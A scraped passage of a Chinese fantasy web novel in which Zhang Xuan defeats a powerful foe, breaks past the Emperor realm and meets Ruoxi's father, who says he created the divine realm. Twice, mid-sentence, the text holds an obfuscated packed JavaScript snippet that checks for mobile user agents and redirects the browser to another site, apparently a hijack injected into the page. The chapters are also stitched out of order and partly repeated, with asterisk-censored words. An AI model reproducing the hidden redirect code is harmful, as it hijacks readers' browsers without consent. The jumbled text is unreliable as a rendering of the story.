“我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766076|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百八十七章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” 